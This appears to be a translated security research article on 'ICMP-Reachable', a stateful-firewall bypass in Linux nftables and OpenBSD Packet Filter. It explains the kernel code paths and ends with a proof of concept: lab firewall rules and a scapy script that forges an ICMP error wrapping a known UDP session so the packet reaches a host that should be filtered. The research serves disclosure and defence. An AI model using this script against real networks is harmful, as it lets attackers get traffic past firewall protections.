繞過防火墻過濾規則傳輸ICMP
ICMP和ICMPv6
ICMP和ICMPv6是Internet的主要協議。這些協議設計用于在數據包未到達目的地時進行連接測試和錯誤信令。接收ICMP消息讓應用程序了解故障原因:數據包太大,沒有可用路由等。
ICMP消息
出于不同的目的,ICMP [v6]消息由兩個編碼為兩個字節的值標識:它們的類型和代碼。每種類型都有不同的含義,例如,ICMP有以下消息:
- Echo回復和請求(類型1和8)
- 目的地無法到達(類型3)
- Source quench(4型)
- 時間戳回復和請求(類型14和15)
當ICMPv6具有:
- 目的地無法到達(類型1)
- 數據包太大(類型2)
- 超過時間(類型3)
- 參數問題(類型4)
- 路由器詢問和通告(133和134型)
- 鄰居詢問和通告(135和136型)
- ….
過去已棄用各種消息類型,而其他消息類型仍在使用中。我們可以根據其目的大致將ICMP消息分為三類:
- 請求:它們由主機生成以查詢某些信息;
- 回復:它們是上述ICMP請求的ICMP響應;
- 錯誤:它們是由網絡設備或主機在無法處理數據包時創建的。
本文重點介紹錯誤消息。這個類別非常有趣,因為它的消息作為帶外流量發送,以響應另一個協議的第4層通信。
例如,UDP分組可能生成ICMP錯誤。這些錯誤通常封裝在ICMP有效負載,IP報頭加上違規數據包的下一個64字節內。圖1顯示了主機B拒絕封閉端口上的數據包的這種行為:
已知的攻擊和措施
作為信令協議,ICMP消息可以改變接收系統的IP棧的行為。例如,ICMP Redirect和ICMPv6 Router通告可以改變主機的路由表。
惡意用戶可能濫用ICMP來中斷網絡操作。過去已記錄了與ICMP相關的各種攻擊:
- ICMP打孔[1]是借助ICMP消息遍歷NAT的概念。它要求發起者在NAT后面;
- ICMP隧道[2]濫用ICMP協議將任意數據封裝在ICMP消息之上;
- ICMP ECHO放大[3]使用廣播執行DoS;
- 通過攻擊MTU發現過程或分組擁塞[4] [5] [6]信令可以減慢網絡流量;
- ICMPv6 NDP攻擊[7](類似于IPv4世界中的ARP攻擊);
- ICMPv6 MLD發現+ DoS [8](類似于IGMP攻擊)。
通過正確配置操作系統的IP堆棧,可以減輕大多數這些風險。有趣的是,可以在不使用操作系統防火墻功能的情況下啟用各種ICMP保護(例如:sysctl,netsh,…)。
在Linux上使用sysctl的示例:
- # sysctl -a -r '^net\.ipv[46]\.(icmp|conf\.default\.accept)' | cut -d= -f1
- net.ipv4.conf.default.accept_local
- net.ipv4.conf.default.accept_redirects
- net.ipv4.conf.default.accept_source_route
- net.ipv4.icmp_echo_ignore_all
- net.ipv4.icmp_echo_ignore_broadcasts
- net.ipv4.icmp_errors_use_inbound_ifaddr
- net.ipv4.icmp_ignore_bogus_error_responses
- net.ipv4.icmp_msgs_burst
- net.ipv4.icmp_msgs_per_sec
- net.ipv4.icmp_ratelimit
- net.ipv4.icmp_ratemask
- net.ipv6.conf.default.accept_dad
- net.ipv6.conf.default.accept_ra
- net.ipv6.conf.default.accept_ra_defrtr
- net.ipv6.conf.default.accept_ra_from_local
- ...
- net.ipv6.conf.default.accept_redirects
- net.ipv6.conf.default.accept_source_route
- net.ipv6.icmp.ratelimit
在理想情況下,危險的ICMP消息應該被每個主機的IP堆棧阻止,而不需要防火墻。實際上,安全加固通常由WAN和受限LAN之間的防火墻實現。這里有一個問題:如何過濾ICMP和ICMPv6?
如何過濾ICMP?
1. RFC推薦的內容
在過濾ICMP消息時,阻止所有消息類型是不可能的。它會降低整體用戶體驗。例如,阻止“數據包太大”實際上可以完全阻止IPv6工作,并可能嚴重降低IPv4的性能。
RFC4890 [10](2007)說在第4.3.1章中允許ICMPv6錯誤消息。不得丟棄的流量:
對建立和建設至關重要的錯誤消息
通訊維護:
- 目的地無法到達(類型1) – 所有代碼
- 數據包太大(類型2)
- 超過時間(類型3) – 僅代碼0
- 參數問題(類型4) – 僅代碼1和2
(過期)草案“過濾ICMP消息的建議”[9](2013)提供了兩個表,總結了當設備充當網關或防火墻時應接受,限速或拒絕哪些ICMP和ICMPv6消息。草案建議允許(接受或限制)以下消息:
- ICMPv4-unreach-(net|host|frag-needed|admin);
- ICMPv4-timed-(ttl|reass);
- 的ICMPv6-unreach-(no-route|admin-prohibited|addr|port|reject-route);
- ICMPv6的太大;
- 的ICMPv6-timed-(hop-limit|reass);
- ICMPv6的參數 – UNREC選項;
- ICMPv6-ERR-擴大。
似乎人們對什么是安全的ICMP流量有不同的看法。通常認為防火墻應該阻止來自WAN的所有入站ICMP和ICMPv6數據包(NDP除外),除非它們與已知的現有連接相關,可以通過狀態防火墻進行跟蹤。
2. 防火墻狀態和相關流量
事實上,狀態防火墻實現了相關數據包的概念。這些相關數據包是與附加到現有連接的帶外流量匹配的數據包。在相關概念被用于與ICMP而且還與其他協議,例如FTP,其可以使用輔助TCP流。
關于ICMP,帶內和帶外流量之間的關聯是通過從封裝在ICMP錯誤消息中的IP分組中提取“狀態標識符”來完成的。如果連接已知,則此標識符用于在表中查找。
為了說明這個概念,讓我們考慮以下示例。在一個簡單的網絡中,我們希望只允許LAN上的主機通過端口1234上的UDP與WAN上的任何主機聯系。但我們仍然希望A接收帶外錯誤。在這種情況下,將使用以下高級防火墻配置:
- 允許從LAN到WAN udp端口1234的輸入;
- 如果數據包與現有的允許連接相關,則允許從WAN到LAN的輸入;
- 阻止所有。
傳出的帶內UDP流量將匹配規則:
- 進入的帶外ICMP錯誤消息將匹配規則;
- 如圖2所示,并且任何其他數據包將被規則3拒絕。
實際上,防火墻配置的語義不同,并且規則2在某些實現中可能是隱含的。
3. 什么是連接狀態?
到目前為止,我們知道狀態防火墻從ICMP(或ICMPv6)錯誤中推斷出狀態。但剩下的問題是,哪些信息實際上是從內部IP數據包中提取的?
由于第4層協議具有不同的語義,每個協議都有自己的提取器,但我們在包過濾器和nftables衍生物中觀察到以下內容:
對于TCP,以下字段用于構造狀態:
- 內部IP源和目的地;
- 內部源和目標端口;
- SEQ和ACK字段僅用于包過濾器,但不用于nftables。
對于UDP,以下字段用于構造狀態:
- 內部IP源和目的地;
- 內部源和目標端口。
對于ICMP,以下字段用于構造狀態:
- 內部IP源和目的地;
- 各種ICMP字段取決于類型。
對于其他協議:
- 內部IP源和目的地;
- 協議的id;
- 如果防火墻支持它們,則將使用協議提供的屬性(例如:SCTP或UDP-Lite端口)(nftables可以,Packet Filter不能)。
4. 快速回顧一下
總而言之,當防火墻收到帶外ICMP錯誤時,它會執行以下操作:
1.解碼IP / ICMP或IPv6 / ICMPv6標頭;
2.從封裝的IP或IPv6數據包中提取狀態;
3.嘗試匹配現有狀態列表中的“狀態標識符”;
4.如果內部IP數據包狀態與現有狀態匹配,則將數據包標記為 相關。
ICMP-可達
1. 問題
我們發現,當提取內部數據包以找到狀態時,與外部數據包的相關性將丟失。這意味著,只要封裝的數據包可以與現有連接相關,整個數據包就會被標記為相關。然后,在大多數情況下允許該數據包通過。
使用惡意制作的ICMP [v6]數據包可以濫用此行為,該數據包以過濾的主機為目標,同時封裝符合合法狀態的數據包,如下所示:
- ICMP-Reachable packet:
-
- [ IP src=@M dst=@H type=ICMP ]
- [ ICMP type=@Type code=@Code ]
- [ IP src=@B dst=@A ]
- [ UDP sport=@Pb dport=Pa ]
-
- M: the attacker IP
- H: the destination IP on which ICMP should be filtered
- A: host IP from which the attacker knows an existing session with B
- B: host IP from which the attacker knows an existing session with A
- Pa: the port used by A its UDP session with B
- Pb: the port used by B its UDP session with A
- Type: the ICMP type of an out-of-band error packet (example 3)
- Code: the ICMP code of an out-of-band error packet (example 3)
在這種情況下,將允許惡意ICMP [v6]數據包通過。nftables和Packet Filter實現都受此行為的影響。
接下來的章節將介紹Linux和OpenBSD的實現細節,以了解相關性丟失的位置。
2. NFTABLES實施和細節
Linux在netfilter conntrack模塊中實現了相關數據包的概念。
它在netfilter/nf_conntrack_core.c中以函數nf_conntrack_in開始,該函數處理在參數skb中傳遞的每個輸入數據包。在nf_conntrack_handle_icmp中處理第4層協議和ICMP和ICMPv6的提取。
- unsigned int
- nf_conntrack_in(struct sk_buff *skb, const struct nf_hook_state *state)
- {
- // ..
-
- l4proto = __nf_ct_l4proto_find(protonum);
-
- if (protonum == IPPROTO_ICMP || protonum == IPPROTO_ICMPV6) {
- ret = nf_conntrack_handle_icmp(tmpl, skb, dataoff,
- protonum, state);
- if (ret <= 0) {
- ret = -ret;
- goto out;
- }
- /* ICMP[v6] protocol trackers may assign one conntrack. */
- if (skb->_nfct)
- goto out;
- }
- // ...
- }
nf_conntrack_handle_icmp然后根據ICMP的版本調用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。這些功能非常相似,所以讓我們關注ICMP。
如果類型是以下類型之一,則nf_conntrack_icmpv4_error驗證ICMP標頭并調用icmp_error_message:ICMP_DEST_UNREACH,ICMP_PARAMETERPROB,ICMP_REDIRECT,ICMP_SOURCE_QUENCH,ICMP_TIME_EXCEEDED:
- /* Small and modified version of icmp_rcv */
- int nf_conntrack_icmpv4_error(struct nf_conn *tmpl,
- struct sk_buff *skb, unsigned int dataoff,
- const struct nf_hook_state *state)
- {
- const struct icmphdr *icmph;
- struct icmphdr _ih;
-
- /* Not enough header? */
- icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih);
- if (icmph == NULL) {
- icmp_error_log(skb, state, "short packet");
- return -NF_ACCEPT;
- }
-
- // ...
-
- if (icmph->type > NR_ICMP_TYPES) {
- icmp_error_log(skb, state, "invalid icmp type");
- return -NF_ACCEPT;
- }
-
- /* Need to track icmp error message? */
- if (icmph->type != ICMP_DEST_UNREACH &&
- icmph->type != ICMP_SOURCE_QUENCH &&
- icmph->type != ICMP_TIME_EXCEEDED &&
- icmph->type != ICMP_PARAMETERPROB &&
- icmph->type != ICMP_REDIRECT)
- return NF_ACCEPT;
-
- return icmp_error_message(tmpl, skb, state);
- }
然后icmp_error_message負責提取和識別匹配狀態:
- /* Returns conntrack if it dealt with ICMP, and filled in skb fields */
- static int
- icmp_error_message(struct nf_conn *tmpl, struct sk_buff *skb,
- const struct nf_hook_state *state)
- {
- // ...
-
- WARN_ON(skb_nfct(skb));
- zone = nf_ct_zone_tmpl(tmpl, skb, &tmp);
-
- /* Are they talking about one of our connections? */
- if (!nf_ct_get_tuplepr(skb,
- skb_network_offset(skb) + ip_hdrlen(skb)
- + sizeof(struct icmphdr),
- PF_INET, state->net, &origtuple)) {
- pr_debug("icmp_error_message: failed to get tuple\n");
- return -NF_ACCEPT;
- }
-
- /* rcu_read_lock()ed by nf_hook_thresh */
- innerproto = __nf_ct_l4proto_find(origtuple.dst.protonum);
-
- /* Ordinarily, we'd expect the inverted tupleproto, but it's
- been preserved inside the ICMP. */
- if (!nf_ct_invert_tuple(&innertuple, &origtuple, innerproto)) {
- pr_debug("icmp_error_message: no match\n");
- return -NF_ACCEPT;
- }
-
- ctinfo = IP_CT_RELATED;
-
- h = nf_conntrack_find_get(state->net, zone, &innertuple);
- if (!h) {
- pr_debug("icmp_error_message: no match\n");
- return -NF_ACCEPT;
- }
-
- if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY)
- ctinfo += IP_CT_IS_REPLY;
-
- /* Update skb to refer to this connection */
- nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo);
- return NF_ACCEPT;
- }
- 首先,使用nf_ct_zone_tmpl計算分組skb的網絡區域。nftables有網絡conntrack區域的概念。這些區域允許虛擬化連接跟蹤,以便在conntrack和NAT中處理具有相同身份的多個連接。除非有明確的規則要求,否則所有數據包都將進入0區(參見目標CT的手冊頁);
- 然后nf_ct_get_tuplepr用于從ICMP層內的IP數據報中提取ip連接狀態 origtuple;
- nf_ct_invert_tuple執行狀態的源/目標交換,因為它引用原始出站數據包但防火墻想要檢查入站數據包;
- nf_conntrack_find_get查找與提取的狀態匹配的已知狀態。此時我們看到外層IP層未被考慮用于查找狀態;
- 如果找到狀態,則nf_ct_set標記具有相關狀態(IP_CT_RELATED)的sbk數據包。
對于ICMPv6,我們對類型小于128的消息有類似的實現。
3. 包過濾器實現和細節
在包過濾器中,相關的概念實際上是隱含的,并且在狀態的概念下實現。包過濾的總體設計如下:
數據包可以與狀態相關聯嗎?
- 如果是,則允許數據包通過;
- 如果不是,則根據過濾規則測試分組。如果匹配規則允許數據包通過,則可能會創建狀態。
整個邏輯在/sys/net/pf.c中的函數pf_test中實現。下一個摘錄顯示了ICMP的這種處理[v6](為了清楚起見,部分代碼已被剝離):
- pf_test(sa_family_t af, int fwdir, struct ifnet *ifp, struct mbuf **m0)
- {
- // ...
- switch (pd.virtual_proto) {
-
- case IPPROTO_ICMP: {
- // look for a known state
- action = pf_test_state_icmp(&pd, &s, &reason);
- s = pf_state_ref(s);
-
- if (action == PF_PASS || action == PF_AFRT) {
- // if a valid state is found the packet might go there
- // without being tested against the filtering rules
- r = s->rule.ptr;
- a = s->anchor.ptr;
- pd.pflog |= s->log;
-
- } else if (s == NULL) {
- // if no state is found the packet is tested
- action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
- s = pf_state_ref(s);
- }
- break;
- }
-
- case IPPROTO_ICMPV6: {
- // look for a known state
- action = pf_test_state_icmp(&pd, &s, &reason);
- s = pf_state_ref(s);
-
- if (action == PF_PASS || action == PF_AFRT) {
- // if a valid state is found the packet might go there
- // without being tested against the filtering rules
- r = s->rule.ptr;
- a = s->anchor.ptr;
- pd.pflog |= s->log;
- } else if (s == NULL) {
- // if no state is found the packet is tested
- action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
- s = pf_state_ref(s);
- }
- break;
- }
-
- // ...
- }
pf_test_state_icmp()是嘗試查找此數據包與已知連接之間關系的函數。它使用對pf_icmp_mapping()的調用來了解數據包是帶內還是帶外。在后一種情況下,提取內部IP分組及其第4層協議以找到狀態。這在以下摘錄中顯示:
- int pf_test_state_icmp(struct pf_pdesc *pd, struct pf_state **state, u_short *reason) {
- // ...
-
- if (pf_icmp_mapping(pd, icmptype, &icmp_dir, &virtual_id, &virtual_type) == 0) { // <-- 1
- /*
- * ICMP query/reply message not related to a TCP/UDP packet.
- * Search for an ICMP state.
- */
-
- // ...
- } else { // <-- 2
- /*
- * ICMP error message in response to a TCP/UDP packet.
- * Extract the inner TCP/UDP header and search for that state.
- */
-
- switch (pd->af) {
- case AF_INET: // <-- 3
- if (!pf_pull_hdr(pd2.m, ipoff2, &h2, sizeof(h2), NULL, reason, pd2.af)))
- { /* ... */ }
-
- case AF_INET6: // <-- 4
- if (!pf_pull_hdr(pd2.m, ipoff2, &h2_6, sizeof(h2_6), NULL, reason, pd2.af))
- { /* ... */ }
- // ...
-
- switch (pd2.proto) {
- case IPPROTO_TCP: {
- struct tcphdr *th = &pd2.hdr.tcp;
- // ...
- if (!pf_pull_hdr(pd2.m, pd2.off, th, 8, NULL, reason, pd2.af)) { // <-- 5
- // ...
- }
- key.af = pd2.af; // <-- 6
- key.proto = IPPROTO_TCP;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[pd2.sidx] = th->th_sport;
- key.port[pd2.didx] = th->th_dport;
-
- action = pf_find_state(&pd2, &key, state); // <-- 7
- if (action != PF_MATCH)
- return (action);
-
- // ...
-
- break;
- }
- case IPPROTO_UDP: {
- struct udphdr *uh = &pd2.hdr.udp;
- int action;
- if (!pf_pull_hdr(pd2.m, pd2.off, uh, sizeof(*uh), NULL, reason, pd2.af)) { // <-- 8
- // ...
- }
-
- key.af = pd2.af; // <-- 9
- key.proto = IPPROTO_UDP;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[pd2.sidx] = uh->uh_sport;
- key.port[pd2.didx] = uh->uh_dport;
-
- action = pf_find_state(&pd2, &key, state); // <-- 10
- if (action != PF_MATCH)
- return (action);
- break;
- }
- case IPPROTO_ICMP: {
- // ...
- break;
- }
- case IPPROTO_ICMPV6: {
- // ...
- break;
- }
-
- default: { // <-- 11
- int action;
- key.af = pd2.af;
- key.proto = pd2.proto;
- key.rdomain = pd2.rdomain;
- PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af);
- PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af);
- key.port[0] = key.port[1] = 0;
- action = pf_find_state(&pd2, &key, state);
- // ...
- break;
- }
- }
pf_icmp_mapping()確定是否應該提取內部數據包。如果是,則繼續執行。
此時僅針對以下數據包繼續執行:
- 1.IPv4上的ICMP_UNREACH;
- 2.IPv4上的ICMP_SOURCEQUENCH;
- 3.IPv4上的ICMP_REDIRECT;
- 4.IPv4上的ICMP_TIMXCEED;
- 5.IPv4上的ICMP_PARAMPROB;
- 6.IPv6的ICMP6_DST_UNREACH;
- 7.IPv6上的ICMP6_PACKET_TOO_BIG;
- 8.IPv6上的ICMP6_TIME_EXCEEDED;
- 9.IPv6上的ICMP6_PARAM_PROB。
- 3和4:根據版本提取IP頭;
- 5和8:提取UDP或TCP的標題;
- 6和9:初始化查找密鑰,而不考慮上層IP分組;
- 7和10:執行狀態查找,如果發現狀態,則函數可以返回PF_PASS,允許數據包通過。
4. poc
為了演示攻擊,我們將考慮具有4個主機,兩個子網,LAN和WAN以及中間防火墻的網絡的簡單情況。我們將使用Linux nftables和OpenBSD Packet Filter作為防火墻來測試場景。虛擬機或真實虛擬機可用于設置環境。請注意,IP范圍或系列與問題無關,只有NAT可以影響可利用性,這將在下一部分中討論。
免責聲明2:我們被告知我們在實驗中使用了真正的IP前綴,最好使用那些用于文檔的前綴。
1.0.0.0/8下的WAN是一個不受信任的網絡;
在2.0.0.0/24下的局域網是一個受信任的網絡,其訪問必須由防火墻過濾;
- M,WAN上的攻擊者,IP 1.0.0.10;
- A,WAN上的主機,IP 1.0.0.11;
- H,局域網上的敏感服務器,IP 2.0.0.10;
- B,LAN上的主機,IP 2.0.0.11;
- F,WAN與LAN之間的防火墻,IP 1.0.0.2和2.0.0.2。
我們將考慮端口53和1234上從A到B建立的會話UDP。攻擊者必須知道這些會話參數,這不是后面討論的強假設。
防火墻配置應該:
- 阻止所有來自WAN的ICMP到LAN;
- 允許ICMP從LAN到WAN;
- 允許A和B之間的UDP連接;
- 阻止其他一切。
在這些條件下,我們預計攻擊者無法向H發送單個ICMP [v6]數據包。
對于Linux實驗,防火墻配置如下(使用命令nft也可以這樣做):
- #iptables -P INPUT DROP
- #iptables -P FORWARD DROP
- #iptables -P OUTPUT DROP
- #iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
- #iptables -A FORWARD -i if-wan -o if-lan -p udp --dport 53 -j ACCEPT
對于OpenBSD實驗,防火墻配置如下:
- # em0 is on the WAN
- # em1 is on the LAN
-
- block all
-
- # explicitly block icmp from the WAN to the LAN
- block in on em0 proto icmp
-
- # allow icmp from the lan to both the WAN and LAN
- pass in on em1 inet proto icmp from em1:network
- pass out on em1 inet proto icmp from em1:network
- pass out on em0 inet proto icmp from em1:network
-
- # allow udp to B
- pass in on em0 proto udp to b port 53
- pass out on em1 proto udp to b port 53
- pass in on em1 proto udp from b port 53
- pass out on em0 proto udp from b port 53
在B上模擬UDP服務:
- (B) $ nc -n -u -l 53
對于A,建立連接:
- (A) $ nc -u -n -p 1234 2.0.0.11 53
- TEST
我們可以檢查從M到H的入站ICMP是否被過濾:
- (M) $ ping -c 1 2.0.0.10 -W2
-
- PING 2.0.0.10 (2.0.0.10) 56(84) bytes of data.
- --- 2.0.0.10 ping statistics ---
- 1 packets transmitted, 0 received, 100% packet loss, time 0ms
現在我們將使用以下使用精彩scapy庫的python腳本:
- from scapy.all import *
- M = "1.0.0.10" # attacker
- H = "2.0.0.10" # protected server
- A = "1.0.0.11"
- B = "2.0.0.11"
- Pa = 1234
- Pb = 53
-
- icmp_reachable = IP(src=M, dst=H) / \
- ICMP(type=3, code=3) / \
- IP(src=B, dst=A) / \
- UDP(sport=Pb, dport=Pa)
- send(icmp_reachable)
在Linux和OpenBSD情況下,網絡捕獲顯示ICMP數據包由防火墻轉發到H并從一個接口傳遞到另一個接口。
Wireshark捕獲顯示第二個ICMP消息從一個接口轉到另一個接口。因此,無論過濾規則如何,攻擊者都能夠將數據包發送到正常過濾的主機H。